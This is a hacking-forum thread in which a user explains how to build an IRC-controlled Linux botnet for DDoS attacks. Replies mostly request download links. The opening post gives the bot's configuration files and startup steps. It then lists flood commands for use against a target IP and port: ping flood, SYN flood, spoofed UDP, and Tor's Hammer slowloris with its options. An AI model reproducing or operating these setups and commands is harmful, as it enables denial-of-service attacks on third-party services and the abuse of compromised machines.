Thread: [IRC Bot - DDoS Botnet Tutorial -](#)

backdoorhk - June 21, 2013, 2:37 pm

In this thread i will explain you how to make a linux based machine your zombie, and use it to send ddos attacks.

Script include torshammer, layer7, syn, udp, spoofed udp and slowloris.

First you need to have an irc server. Can be easy installed on your own computer or vps.

Ok if have it, you need this bot arhive:

Spoiler ([Click to View](#))

Edit the "mech.session" file:

Spoiler ([Click to View](#))linkport -1

nick newbot - the bot name

login XX - login pass for your channel, if have on

ircname li dau de-i sare sfecla! - some info to show on /whois

cmdchar @ - the character that will listen for commands

userfile 1

tog CC 0

tog CLOAK 1

set AAWAY 1

tog NOIDLE 1

channel #blah - channel where the bots will come

set MDL 4

set MBL 4

set MKL 4

tog SHIT 1

tog ENFM 1

set ENFM +ntx

server irc.whatever.com 6667 - your irc server

You will also need to modify the userfile, and secure your bots. I will not go on details.

Spoiler ([Click to View](#))handle YourNicknameFromIRC

mask !*@

prot 4

aop

channel

access 100

Now upload it on your vps / root, give the proper rights with chmod +x then start it with ./start.sh and your bot will come.

COMMANDS (some scripts flood scripts that i like):

Spoiler ([Click to View](#))

@shellcmd ping -f -s 65000 ip

@shellcmd ./j <target ip> <target port>

@shellcmd ./syn <target ip> <target port>

@shellcmd ./v <host> <port> <spoof>

where:

<host> : either hostname or IP address.

<port> : any open UDP port number.

<spoof> : any real, unused ip.

@shellcmd ./v2 <host> <port>

@shellcmd ./x <ip> <port> <time> (basic perl udp script)

@shellcmd ./std <ip> <port>

@shellcmd ./torshammer.py -t <target> [-r <threads> -p <port> -T -h]

where:

-t|--target <Hostname|IP>

-r|--threads <Number of threads> Defaults to 256

-p|--port <Web Server Port> Defaults to 80

-T|--tor Enable anonymising through tor on 127.0.0.1:9050

-h|--help Shows this help

REMEMBER to STOP the attack with @stopcmd

To get this tool post here and i will send you the direct download link.

For more details just ask me :D

Sorry for poor english.?

VPS Hosting Inc - June 21, 2013, 4:01 pm

Yes I need help getting a bot builder can add my Skype live:mlgisbrguy77

Light Yagami. - June 21, 2013, 10:32 pm

i have seen this some where before i would like to get this

backdoorhk - June 22, 2013, 2:14 am

(Jun 21, 2013 10:32 PM)ophelia Wrote: [\[CITE\]](#) i have seen this some where before i would like to get this

i think u have seen this somewhere, i tryed to find it too but with no result. i find only the base archive, with no flood scripts...then worked several days on it to realize how it works, how to secure the bots..

i have another bot coded in perl, with nice functions but is not stable. you can find it on pastebin..

Funtoo - June 22, 2013, 8:58 am

This may be one of the most disgusting IRC bots I have ever came across, it is literally just a bunch of public scripts in the same directory as a basic IRC bot. Whoever create this should be ashamed of themselves.

Proxseas - June 22, 2013, 3:25 pm

If you could give me the link it would be great!:)

OT: Great tutorial!

skyzen83 - June 22, 2013, 3:39 pm

Pease, give me the link :)

Ty in advance

MinNguyen - June 22, 2013, 7:45 pm

Can i have your skype for deeper details xD? Please

mahsat99 - June 25, 2013, 10:26 am

That is with send mail ?:) Molo u have reputation the best :))

xx claws xx - June 25, 2013, 11:36 am

Could you please send me a direct link to the bot?

backdoorhk - June 26, 2013, 1:27 am

any problem with my rep?

===

link sent to all

Wesker30 - July 31, 2013, 3:59 am

Direct link file please??? :))) thanks much

Brian Krebs - July 31, 2013, 4:29 am

How can you use torshammer without tor? Lol

MrCreepy - August 1, 2013, 9:16 am

Could you please send me a direct link to the bot?

TheAlbanian - August 1, 2013, 10:51 am

id like to have a link to please

-

Does it matter which system i am using? Linux, Windows

Brian Krebs - August 1, 2013, 10:55 am

Use Linux. It uses less resources (in my experience) and easier to customise. + a researcher can't use a server exploit and instal a Trojan onto your vps easily

Rapierz - October 28, 2013, 6:32 pm

short but nice! to the point :D

msg : longer that 35 char

DarK-D3v!L - November 4, 2013, 12:16 pm

i really want theses scripts bro

thanks in advance , bets regards

Tedrigo - *March 10, 2014, 8:32 am*

I would like the link pm me it please would love it

?ain - *March 10, 2014, 9:27 am*

Drop it my way, if you would.

Also, some more details on what to edit. Either you were vague or my brain isn't working because its Mondaym

designed - *March 10, 2014, 10:37 am*

i would also like to check this out, if you don't mind sending it to me. thanks in advance

djmetral - *March 10, 2014, 11:11 am*

I would like the link pm me it please would love it

Deflate - *March 11, 2014, 12:53 pm*

I wanna check it out, if you have an source and you wanna release it tell me..

g0tme - *July 20, 2014, 11:34 am*

Hi there , i have the method to spread this irc bot

synase - *November 15, 2019, 10:36 am*

I know it's been years but is this still available? Where can I find it anymore?

Frnkie Kny - *November 15, 2019, 12:20 pm*

Funny guide still works today

Charon X - *August 20, 2020, 9:17 am*

Could you please send me a direct link to the bot?
